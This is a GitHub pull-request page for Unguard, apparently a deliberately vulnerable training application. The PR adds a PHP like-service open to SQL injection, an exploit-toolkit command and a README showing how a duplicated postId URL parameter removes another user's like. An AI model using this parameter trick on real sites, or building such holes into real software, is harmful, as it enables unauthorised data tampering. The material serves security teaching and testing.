Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🐘 Add like-service (PHP) for liking/unliking posts #63

Merged
merged 11 commits into from
Nov 20, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
AlejandroCamba marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ Unguard is composed of eight microservices written in different languages that t
| [proxy-service](./src/proxy-service) | Java Spring | unguard-proxy | Serves REST API for proxying requests from frontend (vulnerable to SSRF; no sanitization on the entered URL). |
| [profile-service](./src/profile-service) | Java Spring | default | Serves REST API for updating biography information in a H2 database; vulnerable to SQL injection attacks |
| [membership-service](./src/membership-service) | .NET 7 | default | Serves REST API for updating user memberships in a MariaDB; vulnerable to SQL injection attacks |
| [like-service](./src/like-service) | PHP | default | Serves REST API for adding likes to posts using MariaDB; vulnerable to SQL injection attacks |
| [user-auth-service](./src/user-auth-service) | Node.js Express | default | Serves REST API for authenticating users with JWT tokens (vulnerable to JWT key confusion). |
| [status-service](./src/status-service) | Go | unguard-status | Serves REST API for Kubernetes deployments health, as well as a user and user role list (vulnerable to SQL injection) |
| jaeger | | default | The [Jaeger](https://www.jaegertracing.io/) stack for distributed tracing. |
Expand Down
2 changes: 2 additions & 0 deletions chart/templates/frontend.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,8 @@ spec:
value: {{ quote .Values.frontend.deployment.container.env.MEMBERSHIP_SERVICE_ADDRESS }}
- name: PROFILE_SERVICE_ADDRESS
value: {{ quote .Values.frontend.deployment.container.env.PROFILE_SERVICE_ADDRESS }}
- name: LIKE_SERVICE_ADDRES
value: {{ quote .Values.frontend.deployment.container.env.LIKE_SERVICE_ADDRES }}
- name: FRONTEND_BASE_PATH
value: {{ quote .Values.frontend.deployment.container.env.FRONTEND_BASE_PATH }}
- name: AD_SERVICE_BASE_PATH
Expand Down
81 changes: 81 additions & 0 deletions chart/templates/like-service.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
{{- /*
Copyright 2023 Dynatrace LLC

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/}}
apiVersion: v1
kind: Service
metadata:
name: unguard-{{.Values.likeService.name}}
labels:
app.kubernetes.io/name: {{.Values.likeService.name}}
app.kubernetes.io/part-of: unguard
spec:
type: {{ .Values.likeService.service.type }}
selector:
app.kubernetes.io/name: {{.Values.likeService.name}}
app.kubernetes.io/part-of: unguard
ports:
{{- .Values.likeService.service.ports | toYaml | nindent 4 }}

---
apiVersion: apps/v1
kind: Deployment
metadata:
name: unguard-{{.Values.likeService.name}}
labels:
app.kubernetes.io/name: {{.Values.likeService.name}}
app.kubernetes.io/part-of: unguard
spec:
selector:
matchLabels:
app.kubernetes.io/name: {{.Values.likeService.name}}
app.kubernetes.io/part-of: unguard
strategy:
type: {{.Values.likeService.deployment.strategy.type}}
template:
metadata:
labels:
app.kubernetes.io/name: {{.Values.likeService.name}}
app.kubernetes.io/part-of: unguard
spec:
containers:
- name: {{.Values.likeService.name}}
image: {{.Values.likeService.deployment.container.image.repository}}:{{.Values.likeService.deployment.container.image.tag}}
imagePullPolicy: {{.Values.likeService.deployment.container.image.pullPolicy}}
ports:
- containerPort: {{.Values.likeService.deployment.container.ports.containerPort}}
env:
- name: SERVER_PORT
value: {{ quote .Values.likeService.deployment.container.env.SERVER_PORT }}
- name: API_PATH
value: {{ quote .Values.likeService.deployment.container.env.API_PATH }}
- name: USER_AUTH_SERVICE_ADDRESS
value: {{ quote .Values.likeService.deployment.container.env.USER_AUTH_SERVICE_ADDRESS }}
- name: MARIADB_PASSWORD
valueFrom:
secretKeyRef:
name: {{ tpl .Values.likeService.deployment.container.env.MARIADB_PASSWORD.secretKeyRef.name . }}
key: {{ tpl .Values.likeService.deployment.container.env.MARIADB_PASSWORD.secretKeyRef.key . }}
- name: JAEGER_SERVICE_NAME
value: {{quote (printf "unguard-%s" .Values.likeService.name) }}
{{if .Values.tracing.enabled}}
- name: JAEGER_COLLECTOR_HOST
value: {{ quote (printf "%s-%s" .Values.jaeger.name .Values.likeService.deployment.container.env.JAEGER_COLLECTOR_HOST) }}
- name: JAEGER_PORT
value: {{ quote .Values.likeService.deployment.container.env.JAEGER_PORT }}
- name: SERVICE_NAME
value: {{ quote .Values.likeService.deployment.container.env.SERVICE_NAME }}
- name: JAEGER_DISABLED
value: {{ quote .Values.likeService.deployment.container.env.JAEGER_DISABLED }}
{{end}}
6 changes: 6 additions & 0 deletions chart/tracing.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,12 @@ frontend:
JAEGER_SAMPLER_PARAM: 1
JAEGER_DISABLED: false

likeService:
deployment:
container:
env:
JAEGER_DISABLED: false

microblogService:
deployment:
container:
Expand Down
36 changes: 36 additions & 0 deletions chart/values.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -383,6 +383,40 @@ proxyService:
JAEGER_SAMPLER_PARAM: 0
OPENTRACING_JAEGER_ENABLED: false

# Like Service
likeService:
name: like-service

service:
type: ClusterIP
ports:
- targetPort: 8000
port: 80

deployment:
strategy:
type: Recreate
container:
image:
repository: ghcr.io/dynatrace-oss/unguard/unguard-like-service
tag: 0.8.1
pullPolicy: IfNotPresent
ports:
containerPort: 8000
env:
JAEGER_COLLECTOR_HOST: collector # PHP OpenTelemetry sends data to jaeger-collector instead of jaeger-agent
JAEGER_DISABLED: true
JAEGER_PORT: 4318
SERVICE_NAME: unguard-like-service
SERVER_PORT: 8000
API_PATH: /like-service
USER_AUTH_SERVICE_ADDRESS: unguard-user-auth-service
MARIADB_PASSWORD:
secretKeyRef:
name: "{{ .Values.mariaDB.serviceName }}"
key: "{{ .Values.mariaDB.password }}"


# Frontend
frontend:
name: frontend
Expand Down Expand Up @@ -415,7 +449,9 @@ frontend:
STATUS_SERVICE_ADDRESS: unguard-status-service
MEMBERSHIP_SERVICE_ADDRESS: unguard-membership-service
PROFILE_SERVICE_ADDRESS: unguard-profile-service
LIKE_SERVICE_ADDRES: unguard-like-service
FRONTEND_BASE_PATH: /ui
AD_SERVICE_BASE_PATH: /ad-service
LIKE_SERVICE_BASE_PATH: /like-service
MEMBERSHIP_SERVICE_BASE_PATH: /membership-service
STATUS_SERVICE_BASE_PATH: /status-service
8 changes: 6 additions & 2 deletions docs/TRACING.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,11 +28,15 @@ This document explains how to install Jaeger tracing using Helm to the cluster.
## Install Jaeger

1. For local development
1. Install the Jaeger-Operator
1. Install Jaeger (takes a couple of minutes)
```sh
helm install jaeger jaegertracing/jaeger --version 0.71.14 --wait --namespace unguard --create-namespace --values ./docs/jaeger/jaeger-otlp-values.yaml
```
2. Install the Jaeger-Operator
W3D3 marked this conversation as resolved.
Show resolved Hide resolved
```sh
helm install jaeger-operator jaegertracing/jaeger-operator --version 2.22.0 --wait --namespace unguard --create-namespace
```
2. Deploy the AllInOne image for local development
3. Deploy the AllInOne image for local development
```sh
kubectl apply -f ./k8s-manifests/jaeger/jaeger.yaml
```
Expand Down
Binary file modified docs/images/unguard-architecture.fig
Binary file not shown.
95 changes: 51 additions & 44 deletions docs/images/unguard-architecture.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified docs/images/unguard-timeline.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified docs/images/unguard-user-profile.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
26 changes: 26 additions & 0 deletions docs/jaeger/jaeger-otlp-values.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# Copyright 2023 Dynatrace LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# This enables OpenTelemetry ingress for Jaeger when applied using --values with helm install
collector:
service:
otlp:
http:
port: 4318
name: otlp-http
nodePort: 4318
grpc:
port: 4317
name: otlp-grpc
nodePort: 4317
29 changes: 29 additions & 0 deletions exploit-toolkit/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -356,6 +356,35 @@ def sql_inject_mariadb(sql_command, target):
click.secho('Exploit failed.', fg="red")


@cli.command()
@click.option('--target',
prompt='Unguard frontend',
default='unguard.kube',
help='The host and port where Unguard frontend runs')
@click.option('--post',
prompt='Post ID',
default='1',
help='The post ID of the post to unlike')
@click.option('--user',
prompt='User ID',
default='1',
help='The user ID of the user whose like should be removed (admanager always has ID 1)')
def sql_inject_unlike_post(post, user, target):
"""
Tries to remove a like for another user
"""
session = requests.session()
if not logged_in(session):
click.echo("Not logged in. Run login command first.")
return

r = session.get(f'http://{target + frontend_base_path}/unlike', params={'postId': [post, user]}, allow_redirects=False)

# should always be status code 404
click.echo('Request returned status code %s.' % str(r.status_code))
click.secho('Exploit executed.', fg="green")


def prepare_injected_payload(payload: str):
"""
Prepares redis payloads to be send via HTTP header injection in Apache HTTPClient
Expand Down
3 changes: 2 additions & 1 deletion exploit-toolkit/exploits/sql-injection/README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# SQL injection

Unguard has two SQL injection vulnerabilities:
Unguard has three SQL injection vulnerabilities:
* [One in the Java `profile-service`](./SQLI-PROFILE-SERVICE-H2.md), which is exploitable through the user biography and allows you to access the h2 database.
* [One in the Golang `status-service`](./SQLI-STATUS-SERVICE-MARIADB.md), which is exploitable through the search bar on the Users page and allows you to access the MariaDB database.
* [One in the PHP `like-service`](./SQLI-LIKE-SERVICE-REMOVE-LIKE.md), which allows you to remove another user's like on a given post.
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# SQL Injection

Utilizing [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) can lead to sensitive data being read
and/or databases to be modified (Insert/Update/Delete).

Unguard has a PHP microservice for handling likes that uses an unsafe version of Laravel, allowing you to remove another user's like on a post. When liking/unliking, normally, the PHP service would receive a post ID and a user ID, but with the right parameters, you can send two post IDs, leading to the latter one being misinterpreted as the user ID by Laravel ([see more details](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045)).

## Preconditions and Requirements

For this exploit to work you need:

* [unguard](../../../docs/DEV-GUIDE.md) deployed and running
* (optional) [unguard-exploit-toolkit](../../INSTALL.md) set up

## Removing another user's like
You can exploit the vulnerability in the PHP Like Service either with or without the Toolkit CLI.
In any case, you will have to find out the user ID of the user whose like you want to remove.
This ID is exposed indirectly through the Users page. The admanager user always has the ID 1, and you can see that it is listed at the top of the users page.
The user shown below the admanager has the ID 2, the one below that has the ID 3 etc.

### w/o Toolkit CLI
Once you have the ID of the user whose like on a particular post you want to remove, head over to the frontend page for that post, e.g. http://unguard.kube/ui/post/1.
You can get to that page by liking the post yourself. From the address bar, you can now see the post id (1 in the example). Then open the following in your browser:
`http://unguard.kube/ui/unlike?postId=[POST_ID]&postId=[USER_ID]`.
The second `postId` parameter is misinterpreted by Laravel as the user ID, and the like for that user will be deleted. After you load the site with these parameters,
you should see a 404 error.

### With Toolkit CLI
You can use the `ug-exploit` tool for exploiting the vulnerability. Make sure to use `ug-exploit login` first.

Afterwards, use `ug-exploit sql-inject-unlike-post` and enter the post and user ID. That should delete the specified user's like. The returned status code will always be 404.


## Further Details

* [SQL Injection - OWASP](https://owasp.org/www-community/attacks/SQL_Injection)
* [SQL Injection affecting laravel/framework - Snyk](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045)
7 changes: 7 additions & 0 deletions skaffold.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,8 @@ build:
context: src/status-service
- image: unguard-profile-service
context: src/profile-service
- image: unguard-like-service
context: src/like-service

local:
# only the docker CLI respects a manually logged-in daemon
Expand Down Expand Up @@ -100,6 +102,9 @@ deploy:
# malicious-load-generator
maliciousLoadGenerator.deployment.container.image.repository: "{{.IMAGE_REPO_unguard_malicious_load_generator}}"
maliciousLoadGenerator.deployment.container.image.tag: "{{.IMAGE_TAG_unguard_malicious_load_generator}}@{{.IMAGE_DIGEST_unguard_malicious_load_generator}}"
# like-service
likeService.deployment.container.image.repository: "{{.IMAGE_REPO_unguard_like_service}}"
likeService.deployment.container.image.tag: "{{.IMAGE_TAG_unguard_like_service}}@{{.IMAGE_DIGEST_unguard_like_service}}"

setValues:
# ad-service
Expand All @@ -122,6 +127,8 @@ deploy:
statusService.deployment.container.image.pullPolicy: "IfNotPresent"
# profile-service
profileService.deployment.container.image.pullPolicy: "IfNotPresent"
# like-service
likeService.deployment.container.image.pullPolicy: "IfNotPresent"

profiles:
- name: jib
Expand Down
1 change: 1 addition & 0 deletions src/frontend/.env
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,5 @@ STATUS_SERVICE_ADDRESS=localhost:8083
USER_AUTH_SERVICE_ADDRESS=localhost:9091
FRONTEND_BASE_PATH=/ui
AD_SERVICE_BASE_PATH=/ad-service
LIKE_SERVICE_BASE_PATH=/like-service
STATUS_SERVICE_BASE_PATH=/status-service
9 changes: 7 additions & 2 deletions src/frontend/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ const adServiceApiLogger = microserviceLoggerFactory.create('AD_SERVICE_API');
const membershipServiceApiLogger = microserviceLoggerFactory.create('MEMBERSHIP_SERVICE_API');
const statusServiceApiLogger = microserviceLoggerFactory.create('STATUS_SERVICE_API');
const profileServiceLogger = microserviceLoggerFactory.create('PROFILE_SERVICE_API');
const likeServiceLogger = microserviceLoggerFactory.create('LIKE_SERVICE_API')

// log all environment variables
frontendLogger.info("JAEGER_SERVICE_NAME is set to " + process.env.JAEGER_SERVICE_NAME);
Expand All @@ -62,6 +63,7 @@ frontendLogger.info("FRONTEND_BASE_PATH is set to " + process.env.FRONTEND_BASE_
frontendLogger.info("AD_SERVICE_BASE_PATH is set to " + process.env.AD_SERVICE_BASE_PATH);
frontendLogger.info("STATUS_SERVICE_BASE_PATH is set to " + process.env.STATUS_SERVICE_BASE_PATH);
frontendLogger.info("PROFILE_SERVICE_ADDRESS is set to " + process.env.PROFILE_SERVICE_ADDRESS);
frontendLogger.info("LIKE_SERVICE_ADDRESS is set to " + process.env.LIKE_SERVICE_ADDRES);

let app = express();

Expand Down Expand Up @@ -130,8 +132,8 @@ function createAxiosInstance(req, baseURL, logger, headers) {
return axiosInstace;
}

// setup 6 custom axios instances configured to talk to each microservice respectively
// (MICROBLOG_API, PROXY, USER_AUTH_API, AD_SERVICE_API, PROFILE_SERVICE_API and STATUS_SERVICE_API). All with Jaeger tracing enabled
// setup 7 custom axios instances configured to talk to each microservice respectively
// (MICROBLOG_API, PROXY, USER_AUTH_API, AD_SERVICE_API, PROFILE_SERVICE_API, LIKE_SERVICE_API and STATUS_SERVICE_API). All with Jaeger tracing enabled
app.use((req, res, next) => {
const cookieHeader = req.cookies.jwt ? {"Cookie": "jwt=" + req.cookies.jwt} : {};

Expand All @@ -142,13 +144,15 @@ app.use((req, res, next) => {
const MEMBERSHIP_SERVICE_API = createAxiosInstance(req, "http://" + process.env.MEMBERSHIP_SERVICE_ADDRESS + process.env.MEMBERSHIP_SERVICE_BASE_PATH, membershipServiceApiLogger, cookieHeader)
const PROFILE_SERVICE_API = createAxiosInstance(req, "http://" + process.env.PROFILE_SERVICE_ADDRESS, profileServiceLogger);
const STATUS_SERVICE_API =createAxiosInstance(req, "http://" + process.env.STATUS_SERVICE_ADDRESS + process.env.STATUS_SERVICE_BASE_PATH, statusServiceApiLogger);
const LIKE_SERVICE_API = createAxiosInstance(req, "http://" + process.env.LIKE_SERVICE_ADDRES, likeServiceLogger, cookieHeader);

applyTracingInterceptors(MICROBLOG_API, {span: req.span});
applyTracingInterceptors(PROXY, {span: req.span});
applyTracingInterceptors(USER_AUTH_API, {span: req.span});
applyTracingInterceptors(AD_SERVICE_API, {span: req.span});
applyTracingInterceptors(STATUS_SERVICE_API, {span: req.span});
applyTracingInterceptors(PROFILE_SERVICE_API, {span: req.span});
applyTracingInterceptors(LIKE_SERVICE_API, {span: req.span});

req.MICROBLOG_API = MICROBLOG_API;
req.PROXY = PROXY;
Expand All @@ -157,6 +161,7 @@ app.use((req, res, next) => {
req.MEMBERSHIP_SERVICE_API = MEMBERSHIP_SERVICE_API;
req.STATUS_SERVICE_API = STATUS_SERVICE_API;
req.PROFILE_SERVICE_API = PROFILE_SERVICE_API;
req.LIKE_SERVICE_API = LIKE_SERVICE_API;

next();
});
Expand Down
Loading
Loading